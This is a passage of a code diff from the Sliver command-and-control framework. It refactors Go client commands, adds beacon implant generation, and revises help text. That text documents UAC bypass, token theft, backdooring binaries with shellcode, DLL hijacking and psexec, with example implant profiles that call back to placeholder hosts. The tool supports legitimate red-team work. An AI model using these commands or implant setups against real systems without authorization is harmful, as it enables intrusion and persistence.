Request: con.ActiveTarget.Request(ctx),
Path: filePath,
Recursive: ctx.Flags.Bool("recursive"),
Force: ctx.Flags.Bool("force"),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if rm.Response != nil && rm.Response.Async {
con.AddBeaconCallback(rm.Response.TaskID, func(task *clientpb.BeaconTask) {
con.PrintInfof("Task completed: %s\n\n", task.ID)
err = proto.Unmarshal(task.Response, rm)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintRm(rm, con)
})
con.PrintAsyncResponse(rm.Response)
} else {
con.PrintInfof("%s\n", rm.Path)
PrintRm(rm, con)
}
}
// PrintRm - Print the rm response
func PrintRm(rm *sliverpb.Rm, con *console.SliverConsoleClient) {
if rm.Response != nil && rm.Response.Err != "" {
con.PrintErrorf("%s\n", rm.Response.Err)
return
}
con.PrintInfof("%s\n", rm.Path)
}
+28 -4
View File
@@ -26,16 +26,18 @@ import (
"path/filepath"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util/encoders"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
// UploadCmd - Upload a file to the remote system
func UploadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
@@ -67,7 +69,7 @@ func UploadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("%s -> %s", src, dst), ctrl)
upload, err := con.Rpc.Upload(context.Background(), &sliverpb.UploadReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
Path: dst,
Data: uploadGzip,
Encoder: "gzip",
@@ -77,7 +79,29 @@ func UploadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if upload.Response != nil && upload.Response.Async {
con.AddBeaconCallback(upload.Response.TaskID, func(task *clientpb.BeaconTask) {
con.PrintInfof("Task completed: %s\n\n", task.ID)
err = proto.Unmarshal(task.Response, upload)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintUpload(upload, con)
})
con.PrintAsyncResponse(upload.Response)
} else {
con.PrintInfof("Wrote file to %s\n", upload.Path)
PrintUpload(upload, con)
}
}
// PrintUpload - Print the result of the upload command
func PrintUpload(upload *sliverpb.Upload, con *console.SliverConsoleClient) {
if upload.Response != nil && upload.Response.Err != "" {
con.PrintErrorf("%s\n", upload.Response.Err)
return
}
con.PrintInfof("Wrote file to %s\n", upload.Path)
}
@@ -0,0 +1,48 @@
package generate
import (
"fmt"
"os"
"time"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/desertbit/grumble"
)
var (
minBeaconInterval = 15 * time.Second
ErrBeaconIntervalTooShort = fmt.Errorf("Beacon interval must be %v or greater", minBeaconInterval)
)
// GenerateBeaconCmd - The main command used to generate implant binaries
func GenerateBeaconCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
config := parseCompileFlags(ctx, con)
if config == nil {
return
}
config.IsBeacon = true
err := parseBeaconFlags(ctx, con, config)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
save := ctx.Flags.String("save")
if save == "" {
save, _ = os.Getwd()
}
compile(config, save, con)
}
func parseBeaconFlags(ctx *grumble.Context, con *console.SliverConsoleClient, config *clientpb.ImplantConfig) error {
interval := time.Duration(ctx.Flags.Int64("days")) * time.Hour * 24
interval += time.Duration(ctx.Flags.Int64("hours")) * time.Hour
interval += time.Duration(ctx.Flags.Int64("minutes")) * time.Minute
interval += time.Duration(ctx.Flags.Int64("seconds")) * time.Second
if interval < minBeaconInterval {
return ErrBeaconIntervalTooShort
}
config.BeaconInterval = int64(interval)
config.BeaconJitter = int64(time.Duration(ctx.Flags.Int64("jitter")) * time.Second)
return nil
}
+14 -36
View File
@@ -62,8 +62,8 @@ const (
// DefaultReconnect is the default reconnect time
DefaultReconnect = 60
// DefaultPoll is the default poll interval
DefaultPoll = 1
// DefaultPollTimeout is the default poll timeout
DefaultPollTimeout = 360 // 6 minutes
// DefaultMaxErrors is the default max reconnection errors before giving up
DefaultMaxErrors = 1000
)
@@ -82,31 +82,6 @@ var (
"windows/386": true,
"windows/amd64": true,
}
// validFormats = []string{
// "bash",
// "c",
// "csharp",
// "dw",
// "dword",
// "hex",
// "java",
// "js_be",
// "js_le",
// "num",
// "perl",
// "pl",
// "powershell",
// "ps1",
// "py",
// "python",
// "raw",
// "rb",
// "ruby",
// "sh",
// "vbapplication",
// "vbscript",
// }
)
// GenerateCmd - The main command used to generate implant binaries
@@ -235,7 +210,7 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
}
reconnectInterval := ctx.Flags.Int("reconnect")
pollInterval := ctx.Flags.Int("poll")
pollTimeout := ctx.Flags.Int("poll-timeout")
maxConnectionErrors := ctx.Flags.Int("max-errors")
limitDomainJoined := ctx.Flags.Bool("limit-domainjoined")
@@ -308,8 +283,8 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
WGKeyExchangePort: uint32(ctx.Flags.Int("key-exchange")),
WGTcpCommsPort: uint32(ctx.Flags.Int("tcp-comms")),
ReconnectInterval: uint32(reconnectInterval),
PollInterval: uint32(pollInterval),
ReconnectInterval: int64(reconnectInterval) * int64(time.Second),
PollTimeout: int64(pollTimeout) * int64(time.Second),
MaxConnectionErrors: uint32(maxConnectionErrors),
LimitDomainJoined: limitDomainJoined,
@@ -349,11 +324,11 @@ func getTargets(targetOS string, targetArch string, con *console.SliverConsoleCl
target := fmt.Sprintf("%s/%s", targetOS, targetArch)
if _, ok := SupportedCompilerTargets[target]; !ok {
con.Printf("⚠️ Unsupported compiler target %s%s%s, but we can try to compile a Default implant.\n",
con.Printf("⚠️ Unsupported compiler target %s%s%s, but we can try to compile a generic implant.\n",
console.Bold, target, console.Normal,
)
con.Printf("⚠️ Default implants do not support all commands/features.\n")
prompt := &survey.Confirm{Message: "Compile a Default build?"}
con.Printf("⚠️ Generic implants do not support all commands/features.\n")
prompt := &survey.Confirm{Message: "Attempt to build generic implant?"}
var confirm bool
survey.AskOne(prompt, &confirm)
if !confirm {
@@ -500,9 +475,12 @@ func parseTCPPivotc2(args string) []*clientpb.ImplantC2 {
}
func compile(config *clientpb.ImplantConfig, save string, con *console.SliverConsoleClient) (*commonpb.File, error) {
con.PrintInfof("Generating new %s/%s implant binary\n", config.GOOS, config.GOARCH)
if config.IsBeacon {
interval := time.Duration(config.BeaconInterval)
con.PrintInfof("Generating new %s/%s beacon implant binary (%v)\n", config.GOOS, config.GOARCH, interval)
} else {
con.PrintInfof("Generating new %s/%s implant binary\n", config.GOOS, config.GOARCH)
}
if config.ObfuscateSymbols {
con.PrintInfof("%sSymbol obfuscation is enabled%s\n", console.Bold, console.Normal)
} else if !config.Debug {
+2 -2
View File
@@ -45,8 +45,8 @@ func printHelp(con *console.SliverConsoleClient) {
groups := make(map[string]*grumble.Commands)
for _, c := range con.App.Commands().All() {
key := c.HelpGroup
if con.ActiveSession.Get() != nil {
if con.ActiveSession.Get().GetOS() != "windows" && key == consts.SliverWinHelpGroup {
if con.ActiveTarget.GetSession() != nil {
if con.ActiveTarget.GetSession().GetOS() != "windows" && key == consts.SliverWinHelpGroup {
continue
}
} else {
+21 -21
View File
@@ -173,7 +173,7 @@ Execution limits can be used to restrict the execution of a Sliver implant to ma
[[.Bold]][[.Underline]]++ Profiles ++[[.Normal]]
Due to the large number of options and C2s this can be a lot of typing. If you'd like to have a reusable a Sliver config
see 'help new-profile'. All "generate" flags can be saved into a profile, you can view existing profiles with the "profiles"
see 'help profiles new'. All "generate" flags can be saved into a profile, you can view existing profiles with the "profiles"
command.
`
generateStagerHelp = `[[.Bold]]Command:[[.Normal]] generate stager <options>
@@ -201,23 +201,23 @@ When a stager calls back to this URL, a sliver corresponding to the said profile
stage-listener --url tcp://1.2.3.4:8080 --profile my-sliver-profile
To create a profile, use the [[.Bold]]new-profile[[.Normal]] command. A common scenario is to create a profile that generates a shellcode, which can act as a stage 2:
To create a profile, use the [[.Bold]]profiles new[[.Normal]] command. A common scenario is to create a profile that generates a shellcode, which can act as a stage 2:
new-profile --profile-name windows-shellcode --format shellcode --mtls 1.2.3.4 --skip-symbols
profiles new --profile-name windows-shellcode --format shellcode --mtls 1.2.3.4 --skip-symbols
`
newProfileHelp = `[[.Bold]]Command:[[.Normal]] new [--profile-name] <options>
[[.Bold]]About:[[.Normal]] Create a new profile with a given name and options, a name is required.
[[.Bold]][[.Underline]]++ Profiles ++[[.Normal]]
Profiles are an easy way to save a sliver configurate and easily generate multiple copies of the binary with the same
settings, but will still have per-binary certificates/obfuscation/etc. This command is used with generate-profile:
new-profile --profile-name mtls-profile --mtls foo.example.com --canary 1.foobar.com
Profiles are an easy way to save an implant configuration and easily generate multiple copies of the binary with the same
settings. Generated implants will still have per-binary certificates/obfuscation/etc. This command is used with generate-profile:
profiles new --profile-name mtls-profile --mtls foo.example.com --canary 1.foobar.com
generate-profile mtls-profile
`
generateProfileHelp = `[[.Bold]]Command:[[.Normal]] generate-profile [name] <options>
[[.Bold]]About:[[.Normal]] Generate a Sliver from a saved profile (see new-profile).`
[[.Bold]]About:[[.Normal]] Generate an implant from a saved profile (see 'profiles new --help').`
msfHelp = `[[.Bold]]Command:[[.Normal]] msf [--lhost] <options>
[[.Bold]]About:[[.Normal]] Execute a metasploit payload in the current process.`
@@ -228,12 +228,12 @@ settings, but will still have per-binary certificates/obfuscation/etc. This comm
psHelp = `[[.Bold]]Command:[[.Normal]] ps <options>
[[.Bold]]About:[[.Normal]] List processes on remote system.`
pingHelp = `[[.Bold]]Command:[[.Normal]] ping <sliver name/session>
[[.Bold]]About:[[.Normal]] Ping Sliver by name or the active sliver. This does NOT send an ICMP packet, it just sends an empty
c2 message round trip to ensure the remote Sliver is still responding to commands.`
pingHelp = `[[.Bold]]Command:[[.Normal]] ping <implant name/session>
[[.Bold]]About:[[.Normal]] Ping session by name or the active session. This does NOT send an ICMP packet, it just sends a small
C2 message round trip to ensure the remote implant is still responding to commands.`
killHelp = `[[.Bold]]Command:[[.Normal]] kill <sliver name/session>
[[.Bold]]About:[[.Normal]] Kill a remote sliver process (does not delete file).`
killHelp = `[[.Bold]]Command:[[.Normal]] kill <implant name/session>
[[.Bold]]About:[[.Normal]] Kill a remote implant process (does not delete file).`
lsHelp = `[[.Bold]]Command:[[.Normal]] ls <remote path>
[[.Bold]]About:[[.Normal]] List remote files in current directory, or path if provided.
@@ -263,10 +263,10 @@ On Windows, escaping is disabled. Instead, '\\' is treated as path separator.
`
cdHelp = `[[.Bold]]Command:[[.Normal]] cd [remote path]
[[.Bold]]About:[[.Normal]] Change working directory of the active Sliver.`
[[.Bold]]About:[[.Normal]] Change working directory of the active session.`
pwdHelp = `[[.Bold]]Command:[[.Normal]] pwd
[[.Bold]]About:[[.Normal]] Print working directory of the active Sliver.`
[[.Bold]]About:[[.Normal]] Print working directory of the active session.`
mkdirHelp = `[[.Bold]]Command:[[.Normal]] mkdir [remote path]
[[.Bold]]About:[[.Normal]] Create a remote directory.`
@@ -290,20 +290,20 @@ On Windows, escaping is disabled. Instead, '\\' is treated as path separator.
[[.Bold]]About:[[.Normal]] (Windows Only) Run a new process in the context of the designated user`
impersonateHelp = `[[.Bold]]Command:[[.Normal]] impersonate USERNAME
[[.Bold]]About:[[.Normal]] (Windows Only) Steal the token of a logged in user. Sliver commands that runs new processes (like [[.Bold]]shell[[.Normal]] or [[.Bold]]execute-command[[.Normal]]) will impersonate this user.`
[[.Bold]]About:[[.Normal]] (Windows Only) Steal the token of a logged in user. Sliver commands that run new processes (like [[.Bold]]shell[[.Normal]] or [[.Bold]]execute-command[[.Normal]]) will impersonate this user.`
revToSelfHelp = `[[.Bold]]Command:[[.Normal]] rev2self
[[.Bold]]About:[[.Normal]] (Windows Only) Call RevertToSelf, lose the stolen token.`
elevateHelp = `[[.Bold]]Command:[[.Normal]] elevate
[[.Bold]]About:[[.Normal]] (Windows Only) Spawn a new sliver session as an elevated process (UAC bypass)`
[[.Bold]]About:[[.Normal]] (Windows Only) Spawn a new Sliver session as an elevated process (UAC bypass)`
executeAssemblyHelp = `[[.Bold]]Command:[[.Normal]] execute-assembly [local path to assembly] [arguments]
[[.Bold]]About:[[.Normal]] (Windows Only) Executes the .NET assembly in a child process.
`
executeShellcodeHelp = `[[.Bold]]Command:[[.Normal]] execute-shellcode [local path to raw shellcode]
[[.Bold]]About:[[.Normal]] Executes the given shellcode in the Sliver process.
[[.Bold]]About:[[.Normal]] Executes the given shellcode in the implant's process.
[[.Bold]][[.Underline]]++ Shellcode ++[[.Normal]]
Shellcode files should be binary encoded, you can generate Sliver shellcode files with the generate command:
@@ -428,9 +428,9 @@ Each command will have the [[.Bold]]--process[[.Normal]] flag defined, which all
This command uploads a Sliver binary generated on the fly from a profile.
The profile must be created with the [[.Bold]]service[[.Normal]] format, so that the service manager can properly start and stop the binary.
To create such a profile, use the [[.Bold]]new-profile[[.Normal]] command:
To create such a profile, use the [[.Bold]]profiles new[[.Normal]] command:
new-profile --format service --skip-symbols --mtls a.bc.de --profile-name win-svc64
profiles new --format service --skip-symbols --mtls a.bc.de --profile-name win-svc64
Once the profile has been created, run the [[.Bold]]psexec[[.Normal]] command:
@@ -442,7 +442,7 @@ The [[.Bold]]psexec[[.Normal]] command will use the credentials of the Windows u
[[.Bold]]About:[[.Normal]] Inject a sliver shellcode into an existing file on the target system.
[[.Bold]]Example:[[.Normal]] backdoor --profile windows-shellcode "c:\windows\system32\calc.exe"
[[.Bold]]Remark:[[.Normal]] you must first create a profile that will serve as your base shellcode, with the following command: new-profile --format shellcode --profile-name whatever --http ab.cd
[[.Bold]]Remark:[[.Normal]] you must first create a profile that will serve as your base shellcode, with the following command: profiles new --format shellcode --profile-name whatever --http ab.cd
`
makeTokenHelp = `[[.Bold]]Command:[[.Normal]] make-token -u USERNAME -d DOMAIN -p PASSWORD
[[.Bold]]About:[[.Normal]] Creates a new Logon Session from the specified credentials and impersonate the resulting token.
@@ -654,7 +654,7 @@ supplied with the --profile flag.
dllhijack --reference-path c:\\windows\\system32\\msasn1.dll --file /tmp/blah.dll c:\\users\\bob\\appdata\\slack\\app-4.18.0\\msasn1.dll
# Use a Sliver generated DLL for the hijack
new-profile --format shared --mtls 1.2.3.4:1234 --profile-name dll
profiles new --format shared --mtls 1.2.3.4:1234 --profile-name dll
dllhijack --reference-path c:\\windows\\system32\\msasn1.dll --profile dll c:\\users\\bob\\appdata\\slack\\app-4.18.0\\msasn1.dll
# Use a local DLL as the reference DLL
+5 -3
View File
@@ -28,6 +28,7 @@ import (
"text/tabwriter"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
@@ -59,14 +60,14 @@ func HostsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
func hostsTable(hosts []*clientpb.Host, con *console.SliverConsoleClient) string {
tw := table.NewWriter()
tw.SetStyle(table.StyleLight)
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{
"ID",
"Hostname",
"Operating System",
"Sessions",
"IOCs",
"Extension Data",
"ID (Short)",
})
for _, host := range hosts {
var shortID string
@@ -76,12 +77,12 @@ func hostsTable(hosts []*clientpb.Host, con *console.SliverConsoleClient) string
shortID = host.HostUUID[:8]
}
tw.AppendRow(table.Row{
shortID,
host.Hostname,
host.OSVersion,
hostSessionNumbers(host.HostUUID, con),
len(host.IOCs),
len(host.ExtensionData),
shortID,
})
}
return tw.Render()
@@ -99,6 +100,7 @@ func hostSessionNumbers(hostUUID string, con *console.SliverConsoleClient) strin
return strings.Join(sessionNumbers, ", ")
}
// SessionsForHost - Find session for a given host by id
func SessionsForHost(hostUUID string, con *console.SliverConsoleClient) []*clientpb.Session {
sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{})
if err != nil {
+53 -22
View File
@@ -21,22 +21,16 @@ package info
import (
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/desertbit/grumble"
)
// InfoCmd - Display information about the active session
func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
var session *clientpb.Session
sessionName := ctx.Args.String("session")
if con.ActiveSession.GetInteractive() != nil {
session = con.ActiveSession.GetInteractive()
} else if sessionName != "" {
session = con.GetSession(sessionName)
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
if session != nil {
con.Printf(console.Bold+" ID: %s%d\n", console.Normal, session.ID)
con.Printf(console.Bold+" Name: %s%s\n", console.Normal, session.Name)
@@ -51,8 +45,29 @@ func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.Printf(console.Bold+" Arch: %s%s\n", console.Normal, session.Arch)
con.Printf(console.Bold+" Remote Address: %s%s\n", console.Normal, session.RemoteAddress)
con.Printf(console.Bold+" Proxy URL: %s%s\n", console.Normal, session.ProxyURL)
con.Printf(console.Bold+" Poll Interval: %s%d\n", console.Normal, session.PollInterval)
con.Printf(console.Bold+" Poll Timeout: %s%d\n", console.Normal, session.PollTimeout)
con.Printf(console.Bold+"Reconnect Interval: %s%d\n", console.Normal, session.ReconnectInterval)
} else if beacon != nil {
con.Printf(console.Bold+" ID: %s%s\n", console.Normal, beacon.ID)
con.Printf(console.Bold+" Name: %s%s\n", console.Normal, beacon.Name)
con.Printf(console.Bold+" Hostname: %s%s\n", console.Normal, beacon.Hostname)
con.Printf(console.Bold+" UUID: %s%s\n", console.Normal, beacon.UUID)
con.Printf(console.Bold+" Username: %s%s\n", console.Normal, beacon.Username)
con.Printf(console.Bold+" UID: %s%s\n", console.Normal, beacon.UID)
con.Printf(console.Bold+" GID: %s%s\n", console.Normal, beacon.GID)
con.Printf(console.Bold+" PID: %s%d\n", console.Normal, beacon.PID)
con.Printf(console.Bold+" OS: %s%s\n", console.Normal, beacon.OS)
con.Printf(console.Bold+" Version: %s%s\n", console.Normal, beacon.Version)
con.Printf(console.Bold+" Arch: %s%s\n", console.Normal, beacon.Arch)
con.Printf(console.Bold+" Remote Address: %s%s\n", console.Normal, beacon.RemoteAddress)
con.Printf(console.Bold+" Proxy URL: %s%s\n", console.Normal, beacon.ProxyURL)
con.Printf(console.Bold+" Interval: %s%d\n", console.Normal, beacon.Interval)
con.Printf(console.Bold+" Jitter: %s%d\n", console.Normal, beacon.Jitter)
// con.Printf(console.Bold+" Poll Timeout: %s%d\n", console.Normal, beacon.PollTimeout)
// con.Printf(console.Bold+"Reconnect Interval: %s%d\n", console.Normal, beacon.ReconnectInterval)
} else {
con.PrintErrorf("No target session, see `help %s`\n", consts.InfoStr)
}
@@ -60,36 +75,52 @@ func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
// PIDCmd - Get the active session's PID
func PIDCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
con.Printf("%d\n", session.PID)
if session != nil {
con.Printf("%d\n", session.PID)
} else if beacon != nil {
con.Printf("%d\n", beacon.PID)
}
}
// UIDCmd - Get the active session's UID
func UIDCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
con.Printf("%s\n", session.UID)
if session != nil {
con.Printf("%s\n", session.UID)
} else if beacon != nil {
con.Printf("%s\n", beacon.UID)
}
}
// GIDCmd - Get the active session's GID
func GIDCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
con.Printf("%s\n", session.GID)
if session != nil {
con.Printf("%s\n", session.GID)
} else if beacon != nil {
con.Printf("%s\n", beacon.GID)
}
}
// WhoamiCmd - Displays the current user of the active session
func WhoamiCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
con.Printf("%s\n", session.Username)
if session != nil {
con.Printf("%s\n", session.Username)
} else if beacon != nil {
con.Printf("%s\n", beacon.Username)
}
}
+2 -2
View File
@@ -11,7 +11,7 @@ import (
// PingCmd - Send a round trip C2 message to an implant (does not use ICMP)
func PingCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -20,7 +20,7 @@ func PingCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintInfof("Ping %d\n", nonce)
pong, err := con.Rpc.Ping(context.Background(), &sliverpb.Ping{
Nonce: int32(nonce),
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
+2 -2
View File
@@ -33,7 +33,7 @@ import (
// LootAddRemoteCmd - Add a file from the remote system to the server as loot
func LootAddRemoteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -60,7 +60,7 @@ func LootAddRemoteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.SpinUntil(fmt.Sprintf("Looting remote file %s", remotePath), ctrl)
download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
Path: remotePath,
})
if err != nil {
+4 -4
View File
@@ -185,7 +185,7 @@ func LoadMacroCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
func runMacroCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -246,7 +246,7 @@ func runMacroCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
con.SpinUntil(msg, ctrl)
executeAssemblyResp, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
IsDLL: isDLL,
Process: processName,
Arguments: extArgs,
@@ -272,7 +272,7 @@ func runMacroCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
con.SpinUntil(msg, ctrl)
spawnDllResp, err := con.Rpc.SpawnDll(context.Background(), &sliverpb.InvokeSpawnDllReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
Args: strings.Trim(extArgs, " "),
Data: binData,
ProcessName: processName,
@@ -297,7 +297,7 @@ func runMacroCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
con.SpinUntil(msg, ctrl)
sideloadResp, err := con.Rpc.Sideload(context.Background(), &sliverpb.SideloadReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
Args: extArgs,
Data: binData,
EntryPoint: entryPoint,
+2 -2
View File
@@ -31,13 +31,13 @@ import (
// IfconfigCmd - Display network interfaces on the remote system
func IfconfigCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
ifconfig, err := con.Rpc.Ifconfig(context.Background(), &sliverpb.IfconfigReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
+4 -4
View File
@@ -31,7 +31,7 @@ import (
// NetstatCmd - Display active network connections on the remote system
func NetstatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -43,7 +43,7 @@ func NetstatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
udp := ctx.Flags.Bool("udp")
netstat, err := con.Rpc.Netstat(context.Background(), &sliverpb.NetstatReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
TCP: tcp,
UDP: udp,
Listening: listening,
@@ -72,7 +72,7 @@ func displayEntries(entries []*sliverpb.SockTabEntry, con *console.SliverConsole
}
con.Printf("Proto %-23s %-23s %-12s %-16s\n", "Local Addr", "Foreign Addr", "State", "PID/Program name")
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
for _, e := range entries {
p := ""
if e.Process != nil {
@@ -95,6 +95,6 @@ func isSliverAddr(dstAddr string, con *console.SliverConsoleClient) bool {
if len(parts) != 3 {
return false
}
c2Addr := strings.Split(con.ActiveSession.GetInteractive().ActiveC2, "://")[1]
c2Addr := strings.Split(con.ActiveTarget.GetSessionInteractive().ActiveC2, "://")[1]
return strings.Join(parts[:2], ":") == c2Addr
}
+2 -2
View File
@@ -10,7 +10,7 @@ import (
// NamedPipeListenerCmd - Start a named pipe pivot listener on the remote system
func NamedPipeListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -28,7 +28,7 @@ func NamedPipeListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient
_, err := con.Rpc.NamedPipes(context.Background(), &sliverpb.NamedPipesReq{
PipeName: pipeName,
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
+1 -1
View File
@@ -44,7 +44,7 @@ func PivotsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
printPivots(session, int64(timeout), con)
} else {
session := con.ActiveSession.Get()
session := con.ActiveTarget.GetSession()
if session != nil {
printPivots(session, int64(timeout), con)
} else {
+2 -2
View File
@@ -11,7 +11,7 @@ import (
// TCPListenerCmd - Start a TCP pivot listener on the remote system
func TCPListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -22,7 +22,7 @@ func TCPListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
_, err := con.Rpc.TCPListener(context.Background(), &sliverpb.TCPPivotReq{
Address: address,
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
+1 -1
View File
@@ -31,7 +31,7 @@ import (
// PortfwdAddCmd - Add a new tunneled port forward
func PortfwdAddCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -0,0 +1,63 @@
package operator
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/prelude"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/desertbit/grumble"
)
func ConnectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
url := ctx.Args.String("connection-string")
aesKey := ctx.Flags.String("aes-key")
agentRange := ctx.Flags.String("range")
skipExisting := ctx.Flags.Bool("skip-existing")
config := &prelude.OperatorConfig{
Range: agentRange,
OperatorURL: url,
RPC: con.Rpc,
AESKey: aesKey,
}
sessionMapper := prelude.InitSessionMapper(config)
con.PrintInfof("Connected to Operator at %s\n", url)
if !skipExisting {
sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("Could not get session list: %s", err)
return
}
if len(sessions.Sessions) > 0 {
con.PrintInfof("Adding existing sessions ...\n")
for _, sess := range sessions.Sessions {
err = sessionMapper.AddSession(sess)
if err != nil {
con.PrintErrorf("Could not add session %s to session mapper: %s", sess.Name, err)
}
}
con.PrintInfof("Done !\n")
}
}
}
@@ -1,8 +1,8 @@
package c2
package operator
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
@@ -19,34 +19,15 @@ package c2
*/
import (
"net/http"
"net/http/httptest"
"testing"
"github.com/bishopfox/sliver/server/certs"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/prelude"
"github.com/desertbit/grumble"
)
func TestRsaKeyHandler(t *testing.T) {
certs.SetupCAs()
req, err := http.NewRequest("GET", "/test/foo.txt", nil)
if err != nil {
t.Fatal(err)
}
server, err := StartHTTPSListener(&HTTPServerConfig{
Addr: "127.0.0.1:8888",
})
